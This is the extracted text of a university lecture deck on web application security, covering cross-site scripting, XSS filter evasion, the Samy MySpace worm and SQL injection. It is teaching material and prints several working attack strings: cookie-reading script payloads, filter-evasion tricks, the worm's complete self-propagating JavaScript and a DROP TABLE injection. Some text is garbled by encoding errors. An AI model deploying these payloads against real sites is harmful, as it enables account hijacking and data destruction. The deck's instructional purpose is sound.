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Web Security [Web Application Security] Spring 2020 Franziska - PowerPoint PPT Presentation

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CSE 484 / CSE M 584: Computer Security and Privacy Web Security [Web Application Security] Spring 2020 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John

  1. CSE 484 / CSE M 584: Computer Security and Privacy Web Security [Web Application Security] Spring 2020 Franziska (Franzi) Roesner franzi@cs.washington.edu Thanks to Dan Boneh, Dieter Gollmann, Dan Halperin, Yoshi Kohno, Ada Lerner, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...

  2. Admin • HW 2 due today • Lab 2 out – Highly recommend the readings on the course schedule • Late Days +2 – This quarter is tough – Max of 3 per assignment – No late days for last final project deadline 5/4/2018 CSE 484 / CSE M 584 - Spring 2020 2

  3. XSS Recap <html> <title>Search results</title> <body>You have searched for <?php echo $_GET[term] ?> … </body� Wha� if ��e�m� i� ��c�ip��ale��� document.cookie);</script> ? <html> <title>Search results</title> <body>You have searched for <script>alert(document.cookie);</script> … </body� Fundamental issue: data interpreted as code. Violates the spirit of the same-origin policy (code is not really from the same origin). 5/4/2018 CSE 484 / CSE M 584 - Spring 2020 3

  4. Preventing Cross-Site Scripting • Any user input and client-side data must be preprocessed before it is used inside HTML • Remove / encode HTML special characters – Use a good escaping library • OWASP ESAPI (Enterprise Security API) • Mic�o�of��� AntiXSS – In PHP, htmlspecialchars(string) will replace all special characters with their HTML codes • ‘ becomes &#039; “ becomes &quot; & becomes &amp; – In ASP.NET, Server.HtmlEncode(string) 5/4/2018 CSE 484 / CSE M 584 - Spring 2020 4

  5. Evading XSS Filters • Preventing injection of scripts into HTML is hard! – Blocking “ < ” and “ > ” is not enough – Event handlers, stylesheets, encoded inputs (%3C), etc. – phpBB allowed simple HTML tags like <b> <b c= “ > ” onmouseover= “ script ” x= “ <b ” >Hello<b> • Beware of filter evasion tricks (XSS Cheat Sheet) – If filter allows quoting (of <script>, etc.), beware of malformed quoting: <IMG """><SCRIPT>alert("XSS")</SCRIPT>"> – Long UTF-8 encoding – Scripts are not only in <script>: <iframe src ��https��� bank.com �login� onload ��steal���� 5/4/2018 CSE 484 / CSE M 584 - Spring 2020 5

  6. https://samy.pl/myspace/tech.html MySpace Worm (1) • Users can post HTML on their MySpace pages • M�Space doe� no� allo� �c�ip�� in ��e��� HTML – No <script>, <body>, onclick, <a href=javascript://> • � b�� doe� allo� �di�� �ag� fo� CSS� – <div style= “ background:url( ‘ javascript:alert(1) ’ ) ” > • B�� M�Space �ill ���ip o�� � javascript � – Use “ java<NEWLINE>script ” instead • But MySpace will strip out quotes – Convert from decimal instead: alert('double quote: ' + String.fromCharCode(34)) 5/4/2018 CSE 484 / CSE M 584 - Spring 2020 6

  7. https://samy.pl/myspace/tech.html MySpace Worm (2) Resulting code: <div id=mycode style="BACKGROUND: url('java script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.inne'+'rHTML')}}function getData(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken')}function getQueryParams(){var E=document.location.search;var F=E.substring(1,E.length).split('&');var AS=new Array();for(var O=0;O<F.length;O++){var I=F[O].split('=');AS[I[0]]=I[1]}return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com'){document.location='http://www.myspace.com'+location.pathname+location.sear ch}else{if(!M){getData(g())}main()}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(A V){var N=new String();var O=0;for(var P in A V){if(O>0){N+='&'}var Q=escape(A V[P]);while(Q.indexOf('+')!=- 1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onr'+'eadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content- Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+B+BG+B+' value='+B,B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V ,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('m'+'ycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('D'+'IV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('jav'+'a',A+'jav'+'a');AE=AE.replace('exp'+'r)','exp'+'r)'+A);AF=' but most of all, samy is my hero. <d'+'iv id='+AE+'D'+'IV>'}var AG;function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'P'+'rofileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==- 1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profile.previewI nterests&Mytoken='+AR,postHero,'POST',paramsToString(AS))}}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fu seaction=profile.processInterests&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,getHome,'GET');xmlhttp2=getXM LObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L,processxForm,'GET')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR,nothing,'POST',paramsToString(AS))}function 5/4/2018 CSE 484 / CSE M 584 - Spring 2020 7 httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onr'+'eadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content- Type','application/x-www-form-urlencoded');xmlhttp2.setRequestHeader('Content-Length',BK.length)}xmlhttp2.send(BK);return true}"></DIV>

  8. https://samy.pl/myspace/tech.html MySpace Worm (3) • �The�e �e�e a fe� o�he� com�lica�ion� and �hing� �o ge� a�o�nd� This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest � I� �a� in�e�e��ing and f�n�� • S�a��ed on � samy � M�Space page • Everybody who visits an infected page, becomes infec�ed and add� � samy � a� a f�iend and he�o • � ho��� la�e� � samy � ha� ��������� f�iend� – Was adding 1,000 friends per second at its peak 5/4/2018 CSE 484 / CSE M 584 - Spring 2020 8

  9. SQL Injection 5/8/2020 CSE 484 / CSE M 584 - Spring 2019 9

  10. Typical Login Prompt 5/8/2020 CSE 484 / CSE M 584 - Spring 2019 10

  11. Typical Query Generation Code $selecteduser = $_GET['user']; $sql = "SELECT Username, Key FROM Key " . "WHERE Username='$selecteduser'"; $rs = $db->executeQuery($sql); What if ��ser� is a malicious string that changes the meaning of the query? 5/8/2020 CSE 484 / CSE M 584 - Spring 2019 11

  12. User Input Becomes Part of Query Enter SELECT passwd Username FROM USERS & WHERE uname Web Password IS ‘ $user ’ Web browser DB server (Client) 5/8/2020 CSE 484 / CSE M 584 - Spring 2019 12

  13. Normal Login Enter SELECT passwd Username FROM USERS & WHERE uname Web Password IS ‘ franzi ’ Web browser DB server (Client) 5/8/2020 CSE 484 / CSE M 584 - Spring 2019 13

  14. Malicious User Input 5/8/2020 CSE 484 / CSE M 584 - Spring 2019 14

  15. SQL Injection Attack SELECT passwd Enter FROM USERS Username WHERE uname & IS ‘’ ; DROP TABLE Web Password USERS; -- ’ Web browser DB server (Client) Eliminates all user accounts 5/8/2020 CSE 484 / CSE M 584 - Spring 2019 15

  16. Exploits of a Mom http://xkcd.com/327/ 5/8/2020 CSE 484 / CSE M 584 - Spring 2019 16

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